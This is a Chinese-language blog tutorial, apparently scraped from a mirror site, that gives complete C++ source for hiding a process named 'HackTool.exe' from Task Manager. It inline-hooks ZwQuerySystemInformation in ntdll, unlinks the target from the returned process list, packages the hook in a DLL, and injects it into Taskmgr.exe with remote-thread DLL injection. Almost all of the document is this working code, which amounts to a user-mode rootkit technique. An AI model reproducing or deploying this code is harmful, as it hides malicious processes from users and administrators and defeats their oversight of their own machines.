zoukankan      html  css  js  c++  java
  • HOOK函数ZwQuerySystemInformation实现进程隐藏

    实现原理:

      由于遍历进程通常是通过调用WIN32 API函数 EnumProcesses 或是CreateToolhelp32Snapshot 等来实现的。

      通过跟踪逆向这些WIN32 API函数可知,它们内部最终是通过调用ZwQuerySystemInformation函数来检索系

      统进程信息的,从而实现进程遍历操作。所以,程序只需要HOOK ZwQuerySystemInformation这一个函数就

      足够了。在ZwQuerySystem Information函数的内部判断检索的信息是否是进程信息,若是,则对返回的进程

      信息进行修改,将隐藏的进程信息从中去掉再返回。因此只要是通过调用ZwQuerySystemInformation来检索

      系统进程的,获取到的数据均是被篡改的,自然获取不到隐藏进程的信息,这样,指定进程就被隐藏起来了。

      

    代码:

    //CHideProcess.h
    
    #pragma once
    
    #include <windows.h>
    #include <winternl.h>
    
    void OnInlineHook();
    
    void UnInlineHook();
    
    NTSTATUS WINAPI MyZwQuerySystemInformation(
        SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength
    );
    //CHideProcess.cpp
    
    #include "pch.h"
    #include "CHideProcess.h"
    
    typedef NTSTATUS(WINAPI* typedef_ZwQuerySystemInformation)(
        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
        _Inout_   PVOID                     SystemInformation,
        _In_      ULONG                      SystemInformationLength,
        _Out_opt_ PULONG                   ReturnLength);
    
    char g_oldcode64_ZwQ[12] = { 0 };
    char g_oldcode32_ZwQ[5] = { 0 };
    
    
    // 开启InlineHook
    void OnInlineHook()
    {
        // 1.获取函数地址
        HMODULE hModule = LoadLibraryA("ntdll.dll");
        typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
            (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");
    
        // 32位修改5个字节,64位修改12个字节
    #ifndef _WIN64
        // jmp New_ZwQuerySystemInformation
        // 机器码位:e9 _dwOffset(跳转偏移)
        //          addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
        //          addr2 --> 跳转地址的值,即_dwNewAddress的值
        //          跳转偏移 _dwOffset = addr2 - addr1
        BYTE g_newcode[5] = { 0xE9 };
        // 2. 保存原始指令5个字节
        memcpy(g_oldcode32_ZwQ, ZwQuerySystemInformation, 5);
    
        // 3. 计算跳转偏移,构建跳转 newcode[5]
        // 跳转偏移  = 目标地址 - 指令所在- 指令长度
        DWORD dwOffset = (DWORD)MyZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
        *(DWORD*)(g_newcode + 1) = dwOffset;
    #else
        // mov rax,0x1122334455667788
        // jmp rax
        // 机器码是:
        //      48 b8 8877665544332211
        //      ff e0
        BYTE g_newcode[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
        // 2. 保存原始指令12个字节
        memcpy(g_oldcode64_ZwQ, ZwQuerySystemInformation, 12);
        // 3. 构建跳转 newcode[12]
        ULONGLONG dwOffset = (ULONGLONG)MyZwQuerySystemInformation;
        *(ULONGLONG*)(g_newcode + 2) = dwOffset;
    #endif // !_WIN64
    
        // 4. 写入跳转偏移
        // 修改目标页属性
        DWORD dwOldProtect;
        VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), PAGE_EXECUTE_READWRITE, &dwOldProtect);
        // 修改MessageBoxW指令前5个字节
        memcpy(ZwQuerySystemInformation, g_newcode, sizeof(g_newcode));
        // 恢复页属性
        VirtualProtect(ZwQuerySystemInformation, sizeof(g_newcode), dwOldProtect, &dwOldProtect);
    }
    
    
    // 关闭InlineHook
    void UnInlineHook()
    {
        // 还原MessageBoxW前5个字节
        // 1.获取函数地址
        HMODULE hModule = LoadLibraryA("ntdll.dll");
        typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
            (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");
    
        // 2.还原指令前5字节
        // 修改目标页属性
        DWORD dwOldProtect;
        VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
        // 32位下还原前5字节,64位下还原前12字节
    #ifndef _WIN64
        // 修改函数指令前5个字节
        memcpy(ZwQuerySystemInformation, g_oldcode32_ZwQ, 5);
    #else
        // 修改函数指令前12个字节
        memcpy(ZwQuerySystemInformation, g_oldcode64_ZwQ, 12);
    #endif  // !_WIN64
    
        // 恢复页属性
        VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
    }
    
    // hook后的新代码
    //特别注意要加上调用方式 WINAPI
    NTSTATUS WINAPI MyZwQuerySystemInformation(
        SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength
    )
    {
        NTSTATUS status = 0;
    
        PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
    
        // 要隐藏的进程名
        wchar_t dwHideProcessName[MAX_PATH] = L"HackTool.exe";
    
        // 卸载钩子
        UnInlineHook();
    
        // 1.获取函数地址
        HMODULE hModule = LoadLibraryA("ntdll.dll");
        typedef_ZwQuerySystemInformation ZwQuerySystemInformation =
            (typedef_ZwQuerySystemInformation)GetProcAddress(hModule, "ZwQuerySystemInformation");
        if (NULL == ZwQuerySystemInformation)
        {
            return status;
        }
        // 调用原函数 ZwQuerySystemInformation
        status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
            SystemInformationLength, ReturnLength);
        //  如果是检索系统的进程信息并且调用原函数成功
        if (NT_SUCCESS(status) && 5 == SystemInformationClass)
        {
            pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
            while (TRUE)
            {
                // 判断是否是要隐藏的进程PID
                // 如果是要隐藏的进程PID
                if (lstrcmp(pCur->ImageName.Buffer, dwHideProcessName) == 0)
                {
                    if (0 == pCur->NextEntryOffset)
                    {
                        //当我们需要隐藏的进程是最后一个数据时
                        //就将上一个数据结构的NextEntryOffset置0
                        //这时系统在遍历我们进程时就不会发现了
                        pPrev->NextEntryOffset = 0;
                    }
                    else
                    {
                        //当我们需要隐藏的进程 后面还有进程时
                        //越过要隐藏的进程让 NextEntryOffset 
                        //指向下一个数据块
                        pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
                    }
                    //多个PID比较时,这里千万要去掉
                    break;
                }
    
                if (0 == pCur->NextEntryOffset)
                {
                    break;
                }
                pPrev = pCur;
                pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
            }
        }
    
        //设置钩子
        OnInlineHook();
    
        return status;
    }
    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    #include "CHideProcess.h"
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        {
            OnInlineHook();
            break;
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
        {
            UnInlineHook();
            break;
        }
            break;
        }
        return TRUE;
    }
        //获取当前程序所在路径
        char pszFileName[MAX_PATH] = { 0 };
        GetModuleFileName(NULL, pszFileName, MAX_PATH);
    
        //要注入的进程名(任务管理器 win7 32位taskmgr.exe  win10 64位Taskmgr.exe)
    #ifndef _WIN64
        char pszProcseeName[MAX_PATH] = "taskmgr.exe";
    #else
        char pszProcseeName[MAX_PATH] = "Taskmgr.exe";
    #endif
    
        //根据进程名获取进程PID
        DWORD nPid = GetProcessIdByProcessName(pszProcseeName);
        if (nPid != 0)
        {
            //获取当前程序所在目录
            (strrchr(pszFileName, '\'))[0] = 0;
            //拼接要注入dll路径
            char pszDllName[MAX_PATH] = { 0 };
            sprintf_s(pszDllName, "%s\%s", pszFileName, "Hook_taskmgr.dll");
            //远程线程注入DLL
            CreateRemoteThreadInjectDll(nPid, pszDllName);
        }

    通过进程名获取进程PID链接:根据进程名获取进程PID

    远程线程注入链接:远程线程注入

  • 相关阅读:
    26个Jquery使用小技巧(jQuery tips, tricks & solutions)
    JavaScript中Eval()函数的作用
    基于邮件通道的WCF通信系统
    同步一个数据库要发多少个数据包?
    还在写SQL的同志,去喝杯咖啡吧!
    隐藏在程序旮旯中的“安全问题”
    在SQLMAP中使用动态SQL
    SQLSERVER 占了500多M内存,原来的程序无法一次查询出50多W数据了,记录下这个问题的解决过程。
    实例探究字符编码:unicode,utf8,default,gb2312 的区别
    Why to do,What to do,Where to do 与 Lambda表达式!
  • 原文地址:https://www.cnblogs.com/ndyxb/p/12822271.html
Copyright © 2011-2022 走看看